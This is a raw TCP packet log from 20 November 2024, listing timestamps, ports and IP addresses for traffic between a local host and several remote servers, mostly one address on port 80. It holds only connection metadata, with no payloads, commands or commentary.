Nov 20, 2024 14:43:38.925935030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.925983906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.926031113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.929832935 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.929845095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.929900885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.933290958 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.933363914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.933365107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.933410883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.937805891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.937859058 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.937856913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.937903881 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.943983078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.944042921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.944128036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.944317102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.948395967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.948513031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.948555946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.948654890 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.951416969 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:38.951466084 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:38.951859951 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:38.952088118 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:38.952100992 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:38.953365088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.953438997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.953517914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.953624010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.957484007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.957623959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.957667112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.957667112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.960422993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.960460901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.960525990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.960525990 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:38.979410887 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.979429960 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.979990005 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.980011940 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.980336905 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.980797052 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.980829954 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.981117964 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.981206894 CET	443	49853	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.981208086 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.981580019 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:38.981648922 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:38.992937088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:38.993067026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.007352114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.007422924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.007431984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.007473946 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.009614944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.009670019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.009752035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.010027885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.014107943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.014249086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.056433916 CET	49853	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:39.062897921 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.066246986 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.066283941 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.066754103 CET	49852	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.066762924 CET	443	49852	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.074596882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.074737072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.074793100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.076137066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.076184034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.076217890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.076256037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.077953100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.078007936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.078016996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.078058004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.080508947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.080554962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.080585003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.080619097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.082886934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.082900047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.082945108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.085325956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.085406065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.085448027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.085495949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.087883949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.087943077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.088046074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.088093996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.090374947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.090434074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.090487003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.091043949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.092844963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.092921019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.092958927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.092999935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.095366001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.095392942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.095412970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.095432043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.097809076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.097944021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.098001957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.100343943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.100399017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.100413084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.100502014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.102844000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.102855921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.102900028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.105232000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.105281115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.105317116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.105355024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.107851028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.107862949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.107969046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.107969046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.110296965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.110333920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.110392094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.112723112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.112807989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.112905979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.113039017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.115195990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.115322113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.115384102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.117775917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.117789984 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.117836952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.119719028 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.119739056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.119796038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.121587038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.121607065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.121659040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.121695042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.123570919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.123665094 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.123770952 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.125454903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.125508070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.125591993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.125642061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.127425909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.127542973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.127592087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.129434109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.129446030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.129504919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.131357908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.131443977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.131514072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.133277893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.133440018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.133500099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.135224104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.135237932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.135329962 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.137423038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.137481928 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.137543917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.139161110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.139220953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.139234066 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.139276028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.141119957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.141232014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.141294003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.143066883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.143203020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.143264055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.144948959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.145009995 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.173500061 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.173582077 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.173662901 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.187336922 CET	443	49854	172.64.41.3	192.168.2.6
Nov 20, 2024 14:43:39.188996077 CET	49854	443	192.168.2.6	172.64.41.3
Nov 20, 2024 14:43:39.198203087 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.198247910 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.198265076 CET	49851	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.198273897 CET	443	49851	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.210791111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.210805893 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.210867882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.211071968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.211122036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.211205959 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.211219072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.211258888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.211289883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.211329937 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.213190079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.213203907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.213248014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.215122938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.215174913 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.215231895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.215389013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.217029095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.217118979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.254415989 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.254477978 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.254652977 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.254966974 CET	49860	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.254985094 CET	443	49860	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.257682085 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.257719040 CET	443	49861	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.257899046 CET	49861	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.257911921 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.257949114 CET	443	49862	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.258080006 CET	49862	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.258114100 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.258131027 CET	443	49863	20.74.47.205	192.168.2.6
Nov 20, 2024 14:43:39.258502007 CET	49863	443	192.168.2.6	20.74.47.205
Nov 20, 2024 14:43:39.299096107 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.299103975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.299139977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.299163103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.299755096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.299803972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.299957991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.300079107 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.301150084 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.301194906 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.301271915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.301307917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.302598953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.302619934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.302656889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.302683115 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.304039001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.304065943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.304094076 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.304114103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.305461884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.305507898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.305531979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.305572033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.306896925 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.306993961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.307080984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.308219910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.308326006 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.308370113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.308408976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.309614897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.309727907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.309869051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.309922934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.311053038 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.311192036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.311238050 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.312434912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.312486887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.312752962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.312865019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.314750910 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.314802885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.316663027 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.316735983 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.316744089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.316759109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.316790104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.316808939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.316822052 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.316831112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.316869974 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.318114042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.318123102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.318166018 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.319555044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.319601059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.319606066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.319648027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.321671009 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.321762085 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.321922064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.321935892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.321966887 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.321986914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.322612047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.322624922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.322658062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.323767900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.323781967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.323818922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.325155973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.325201988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.325316906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.325361013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.326555967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.326618910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.326637030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.326674938 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.327976942 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.327990055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.328017950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.328036070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.328694105 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.328722000 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.328737974 CET	49850	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:39.328744888 CET	443	49850	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:39.329428911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.329477072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.329576969 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.329622030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.330835104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.330881119 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.330889940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.330935955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.332242966 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.332295895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.332365036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.332464933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.333604097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.333619118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.333659887 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.334979057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.335036993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.335421085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.335479975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.336429119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.336517096 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.336536884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.336576939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.337882042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.337894917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.337944984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.339236021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.339289904 CET	49800	80	192.168.2.6	185.215.113.206
